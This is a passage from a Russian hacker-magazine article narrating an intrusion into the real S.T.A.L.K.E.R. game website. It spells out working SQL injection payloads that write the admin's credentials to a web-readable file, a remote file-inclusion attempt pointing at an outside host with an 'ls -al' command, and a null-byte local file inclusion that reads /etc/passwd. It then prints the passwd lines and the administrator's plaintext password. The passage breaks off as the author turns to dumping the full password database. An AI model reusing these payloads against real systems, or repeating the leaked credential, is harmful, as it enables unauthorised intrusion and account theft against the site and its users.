Котлета по-киевски Digital Explosi0n Хакер, номер #078, стр. 078-056-2 А вот это уже интересно. Теперь оставалось подумать над правильным SQL-запросом, который выдал бы нам пароль админа. Вскоре задача была решена, и новоиспеченный запрос выглядел следующим образом: webmaster@gsc-game.kiev.ua' INTO OUTFILE 'access.txt' /*. Объясню, что делает этот запрос. Из базы выдергиваются логин и пароль, соответствующие мылу администратора, все это мы записываем в файл access.txt. Выражение «/*» означает, что вся последующая часть запроса будет закомментирована. Теперь вбиваем все это в формочку с названием e-mail и жмем «OK». Сценарий выполнился без ошибок, поэтому, затаив дыхание, я набрал в адресной строке «www.stalker-game.com/russian/access.txt». Меня, как и следовало ожидать, постиг облом :(. Точнее, страница с ошибкой 404 — File not found. Ну не найден и не найден, это означало только одно — файл был создан, только вот явно не там, где мне было надо. Для продолжения атаки требовался абсолютный путь к директории, в которой лежал сайт. А где этот самый путь взять? Подбирать ручками было глупо и долго. Я уже совсем отчаялся, а ведь бросать дело на полпути к победе так не хотелось! [старые песни о главном] Опять главная страница, и опять в поисках дырявого сценария :). Хотя этот самый сценарий был у меня буквально под носом с самого начала, имя ему index.php! Присмотрись вот к этому: www.stalker-game.com/russian/index.php?t=community&s=registration. Ничего не замечаешь? Моей первой реакцией была проверка на php Source Injection: www.stalker-game.ru/russian/index.php?t=www.xxxxxx.narod.ru/cmd&cmd=ls -al Заветного списка файлов я так и не увидел, даже ошибочки никакой не вылезло. Попробуем Local File Including: www.stalker-game.com/russian/index.php?t=../../../../../etc/passwd Опять неудача! А если так: www.stalker-game.com/russian/index.php?t=../../../../../etc/passwd%00 Сработало! Теперь мы можем читать любые файлы с сервера, главное, чтобы права доступа соответствовали нашим. В данном случае я увидел содержимое /etc/passwd. Пользователей с доступом к командному интерпретатору было не так уж и много, всего трое, вот их данные: root:x:0:0:root:/root:/bin/bash rpm:x:37:37::/var/lib/rpm:/bin/bash webupload:x:501:501::/data/httpd/vhosts/./stalker-game.com:/bin/bash Как видишь, домашняя директория у пользователя webupload — это каталог, в котором лежит сайт! То есть теперь можно проводить полноценный SQL Injection, модифицированный запрос выглядит так: webmaster@gsc-game.kiev.ua' INTO OUTFILE '/data/httpd/vhosts/./stalker-game.com/access.txt' /* Команда выполнилась без ошибок, файл успешно создался и был доступен по адресу www.stalker-game.com/access.txt. А вот и его содержимое: GSC Support ucrceggjhn. Заметь — пароль в plain-тексте! Теперь у меня был админский аккаунт. Было бы круто еще утащить всю базу с паролями. Нет проблем! Наш запрос нужно немного подправить: |